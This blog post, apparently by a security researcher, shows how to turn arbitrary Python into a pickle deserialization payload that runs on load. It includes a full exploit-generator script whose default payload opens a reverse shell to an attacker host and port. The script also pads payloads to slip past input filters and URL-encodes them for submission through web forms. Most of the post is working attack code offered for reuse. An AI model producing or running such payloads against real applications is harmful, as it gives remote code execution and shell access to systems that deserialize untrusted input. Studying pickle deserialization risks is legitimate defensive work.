Building a Better Rotten Pickle

An example of a simple scaffolding for creating python pickle payloads to abuse applications which allow control over input. This technique will allow you to write standard Python code for getting RCE and package it to auto-execute when loaded by the pickle module.

Building a Better Rotten Pickle

Part 2 - Building a better pickle

This is a continuation of my earlier post on Python's Pickle language which can be found here Rotten Pickles With Python. In part 2 I am going to show you how to enhance the basic capabilities I showed in the original post which essentially showed you how to run a single system command by abusing the way python de-serializes pickles.

This post will be based off of some code that I wrote to create a reverse shell by abusing Python's cPickle library (which FYI is a known consequence of the design requirements of pickle and not a bug, put simply as Python documentation states never allow untrusted input to pickle). For those that are just interested in the code or who want to check it out in totality while I cover it here you can find it at https://gist.github.com/BGrewell/ba619281070cc6185d81e32791a2289e

The TL;DR; overview is that you can write a wrapper for creating a pickle that will allow you to just write full standard python code, imports and all then generate a pickle payload that is base64 encoded and ready to go rather than trying to write your code in pickles language which for many is much more difficult and error prone.

So to start out let's take a look at the skeleton which will be used to build the pickle payload.

SKELETON = '''ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'{0}'
tRtRc__builtin__
globals
(tRS''
tR(tR.{1}'''

So you can see here it looks similar to the code from part 1 of this story, the biggest difference is that we are actually using several nested import+function call statements. so if we break it out from the center outward we start with our marker ( and our read string operator S followed by a '{0}' which in this case is a marker for a format string, i.e. we are going to be replacing the {0} with the base 64 representation of our code from the wrapper (which we will see in just a bit). This code is wrapped by a call to import base64 cbase64 and a call to the b64decode function b64decode. This is wrapped by a call to marshal.loads which converts a string to a value i.e. it de-serializes the python from our wrapper which has been decoded by that base64 decode call. So it would look something like this in Python marshal.loads(base64.b64decode('our payload b64 encoded here'). Then below that we load _builtin_ c__builtin__ and call globals() globals and finally a empty string S''. This is all passed to the first few lines of code which import the types module ctypes and are passed to the FunctionType FuntionType function. So all put together it should look like this types.FunctionType(marshal.loads(base64.b64decode('our payload b64 encoded here')), global(), ''))() which causes python to execute our wrapper code as if it was being ran directly. So now that we got the confusing part out of the way let's take a look at the wrapper which in this case creates a reverse shell but in theory should be able to do anything we want within Python's scope. The final part you can see is {1} which in the case of this code was placed in here to allow arbitrary junk to be placed into the payload to bypass filtering on the remote server which expected to see certain values, basically anything after the . is ignored by the cPickle module anyway.

def wrapper():
    """
    Your custom code goes inside here. You could have multiple functions etc. The default reverse shell code is fairly
    simple and doesn't make use of any functions. You can see an example of using functions in the commented out section
    below.
    """
    # import os
    # def say_hi():
    #     print("hello")
    # def get_shell():
    #     os.system('/bin/sh')
    #
    # say_hi()
    # get_shell()
    import socket, subprocess, os
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.0.1", 1234))            # EDIT: Change to your IP and Port
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    p = subprocess.call(["/bin/bash", "-i"])    # EDIT: Change to whatever shell

So with this there isn't a whole lot to explain, if you know Python you or use reverse shells written in it a lot you should recognize this code already but essentially the important part here is that even though you are inside of a function you can import any modules you want and execute any standard code. So in this case we are creating a socket using TCP back to a target on a port and duplicating the file descriptors for std in,out,err to our socket then launching bash. So what we do is we inject the code from our wrapper in a serialized version into that marker we had in the skeleton. The code to get the serialized code in base64 can be seen here

wrapper_payload = base64.b64encode(marshal.dumps(wrapper.func_code))

That is all there is to it, in the case of the Gist that I have posted there is a little more code to do some url encoding on the payload again this was just for this specific use-case to get around some limitations.

That is all there is to it, thanks for reading, feel free to subscribe or follow me on Twitter.

Full Code

import marshal
import urllib
import base64
import os

"""
Script: rotten_pickle.py
Date: 5/4/2018
Author: Benjamin Grewell
Purpose: This script creates a reverse shell that will be executed when the python pickle package attempts to unpickle it.
This script can pickle any python code and execute it on the target when it is unpickled as long as the target has whatever
modules you try to import. This code base64 encodes the python code so that it can be passed around as ASCII/Unicode text.
It optionally URL encodes it so that it can be submitted through webforms ect.
Notes: This code is written for Python 2.7, it should work in Python 3 with a change in the code to grab the wrappers function
code, I think it would just be changing wrapper.func_code to wrapper.__code__ or something, I haven't tested since I am
writing this for a quick test and don't have time, at some point if I revisit this code i'll check and update but be warned
this was quickly written "throw away" code I figured I would post for others to use if it fit their needs.
"""

"""
### USER EDITABLE SETTINGS ###
CUSTOM_APPEND   = [string] custom text (or instructions) to include, this can be useful for bypassing filtering on web inputs)
URL_ENCODE      = [bool] URL encode the resulting payload
LINE_ENDINGS    = [string] characters to use for line endings. IF these don't match the target you can get weird import errors.
"""
CUSTOM_APPEND   = "put_some_extra_text_to_pass_filters_here"
URL_ENCODE      = True
LINE_ENDINGS    = "\n"
"""
This is the main skeleton for building our payloads. It will be modified to include our custom function(s) in the wrapper
below. Do not modify this unless you know what you are doing.
"""
SKELETON = '''ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'{0}'
tRtRc__builtin__
globals
(tRS''
tR(tR.{1}
'''

def wrapper():
    """
    Your custom code goes inside here. You could have multiple functions etc. The default reverse shell code is fairly
    simple and doesn't make use of any functions. You can see an example of using functions in the commented out section
    below.
    """
    # import os
    # def say_hi():
    #     print("hello")
    # def get_shell():
    #     os.system('/bin/sh')
    #
    # say_hi()
    # get_shell()
    import socket, subprocess, os
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.0.1", 1234))            # EDIT: Change to your IP and Port
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    p = subprocess.call(["/bin/bash", "-i"])    # EDIT: Change to whatever shell you want

"""
Get a base64 encoded version of our wrapper code.
"""
wrapper_payload = base64.b64encode(marshal.dumps(wrapper.func_code))
#print("wrapper_payload: {}".format(wrapper_payload))

"""
Build our raw base64 payload using our wrapper payload and any custom append
"""
rotten_pickle = SKELETON.format(wrapper_payload, CUSTOM_APPEND).strip()
#print("rotten_pickle: {}".format(rotten_pickle))

"""
URL encode our pickle if requested
"""
if URL_ENCODE:
    rotten_pickle = urllib.quote_plus(rotten_pickle, safe='()') # EDIT: Safe characters may need to be tweaked this has worked for what I needed.
    #print("encoded_pickle: {}".format(rotten_pickle))

"""
Swap out line endings (could do this in other places but it's easy enough here, although a little hacky and only modifies the line endings on urlencoded payloads)
"""
if "%0D%0A" in rotten_pickle:
    # Windows style line endings
    if not "\n" in LINE_ENDINGS:
        rotten_pickle = rotten_pickle.replace("%0A", "")
    if not "\r" in LINE_ENDINGS:
        rotten_pickle = rotten_pickle.replace("%0D", "")
else:
    # Unix style line endings
    if "\r" in LINE_ENDINGS:
        rotten_pickle = rotten_pickle.replace("%0A", "%0D%0A")
    if not "\n" in LINE_ENDINGS:
        rotten_pickle = rotten_pickle.replace("%0A", "")
print("final_pickle: {}".format(rotten_pickle))